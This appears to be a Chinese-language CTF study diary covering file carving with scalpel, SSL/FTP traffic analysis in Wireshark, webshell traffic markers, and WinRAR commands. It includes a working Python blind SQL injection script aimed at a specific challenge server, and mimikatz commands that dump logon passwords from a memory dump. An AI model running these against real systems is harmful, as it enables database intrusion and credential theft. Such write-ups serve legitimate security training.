第一天

文件雕刻

scalpel

binwalk foremost 不能分离出文件 但是scanpel能分离出

binwalk foremost是基于文件头来分割的,而scalpel是基于整个文件分离,会补上文件头,要想让scalpel补上文件头,需要修改配置文件scalpel.conf 默认情况下 各种文件都是被注释的,需要把注释去掉

我的kali里面自带了scalpel这个工具,要是没有可以去github上下载,也可以apt-get install scalpel

测试

1
2
3
4
5
6
7
8
9
10
11
root@kali:~# binwalk '/root/桌面/hekkerman.jpg' 

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, little-endian offset of first image directory: 8
212 0xD4 JPEG image data, JFIF standard 1.01
242 0xF2 TIFF image data, big-endian, offset of first image directory: 8
414 0x19E JPEG image data, JFIF standard 1.01
444 0x1BC TIFF image data, big-endian, offset of first image directory: 8
28428 0x6F0C Copyright string: "Copyright International Color Consortium, 2009"

binwalk 看了一下 有三张图片 但是binwalk -e foremost都不能分离

修改conf配置文件 去掉GIF前面的注释

1
2
3
4
5
6
7
8
9
10
11
12
13
 # GIF and JPG files (very common)
gif y 5000000 \x47\x49\x46\x38\x37\x61 \x00\x3b
gif y 5000000 \x47\x49\x46\x38\x39\x61 \x00\x00\x3b
jpg y 200000000 \xff\xd8\xff\xe0\x00\x10 \xff\xd9
# jpg y 200000000 \xff\xd8\xff\xe1 \xff\xd9



GIF and JPG files (very common)
gif y 5000000 \x47\x49\x46\x38\x37\x61 \x00\x3b
gif y 5000000 \x47\x49\x46\x38\x39\x61 \x00\x00\x3b
jpg y 200000000 \xff\xd8\xff\xe0\x00\x10 \xff\xd9
jpg y 200000000 \xff\xd8\xff\xe1 \xff\xd9

分离一下

1
2
3
4
5
6
7
8
root@kali:/tools/scalpel# scalpel -c scalpel.conf hekkerman.jpg 
Scalpel version 1.60

root@kali:/tools/scalpel# ls
hekkerman.jpg scalpel.conf scalpel-output

root@kali:/tools/scalpel/scalpel-output/jpg-3-0# ls
00000000.jpg 00000001.jpg 00000002.jpg

生成了三张图片

SSL流量分析

这里牵扯到ssl ftp http

SSL

ssl协议位于传输层和应用层之间

被ssl协议加密的流量 在http中是无法直接看到的 需要把导入ssl密钥 解密 解密时需要服务端的ip地址和端口

FTP

ftp协议一般用来传输大文件,密钥就有可能是通过ftp传送的,

ftp协议分为主动模式和被动模式

主动模式下 20端口传输数据,21端口传输控制信息比如账号密码等

被动模式下,端口要由服务端和客户端协商决定 这时使用的端口可能是大于1024的端口

1
2
3
4
5
6
7
  主动FTP:
  命令连接:客户端 >1023端口 -> 服务器 21端口
  数据连接:客户端 >1023端口 <- 服务器 20端口

  被动FTP:
  命令连接:客户端 >1023端口 -> 服务器 21端口
  数据连接:客户端 >1023端口 -> 服务器 >1023端口

几个wireshark的命令

1
http contains "xxx"  过滤http协议中包含xxx的

第二天

union order by 盲注

order by 后面加上数字 代表根据第几列排序,默认情况下是升序 desc 降序

select * from user union select 1,2,{0xhex} order by 3

这样会返回两条结果 一条是union查询的值,一条数据库中存储的值,通过改变{0xhex} 第3列数据出现的顺序就会不同,根据顺序不同 就可以造成盲注 具体该怎么排序 根据实际情况来,

可以加上distinct 去掉重复的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python
# coding:utf-8

import requests


def makeStr(begin, end):
str = ""
for i in range(begin, end):
str += chr(i)
return str


def getPassword():
url = "http://202.98.28.108:10801/47g256f48gff/index.php"
testStr = makeStr(48, 127)
username = "whaleadmin' union distinct select 1,2,0x{hex} order by 3 desc#"
flag = ""
for _ in range(32):
for i in testStr:
data = {"username": username.format(hex=(flag + i).encode('hex')), "password": '1'}
res = requests.post(url, data)
if "whaleadmin" not in res.text:
flag = flag + chr(ord(i) - 1)
print flag
break
else:
print "[*]", i


if __name__ == '__main__':
getPassword()

第三天

收集了几个工具 五笔 Image Steganography 做题时 注意文件名 反转

wireshark的几个命令 一天收集几个

1
2
3
4
5
http.request.method == POST  过滤POST方式提交的http数据包

有些文件不是直接下载的,比如菜刀下载 这时wireshark不会把他当作一个文件,所以无法用htp的方式导出 可以用分组字节流

导出分组字节流 必须要选中 Line-based text data: text/html 要不然选不中

不要直接把追踪流的数据 复制然后保存到winhex里 ,会损坏rar的校验

菜刀获取信息的标志

1
->||<-

winrar

压缩命令

1
2
3
winrar a asdf.txt.rar asdf.txt    a的意思是压缩
winrar e asdf.txt.rar e的意思是解压
-p的意思是设置密码

mimikatz

一个用于分析window内存的工具

dmp文件 文件头MDMP 是一个window内存镜像的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
E:\tools\Misc\mimikatz\x64>mimikatz.exe

.#####. mimikatz 2.1.1 (x64) built on Aug 13 2017 17:27:53
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 21 modules * * */

mimikatz # sekurlsa::minidump 2.dmp
Switch to MINIDUMP : '2.dmp'

mimikatz # sekurlsa::logonPasswords full
Opening : '2.dmp' file for minidump...

常用命令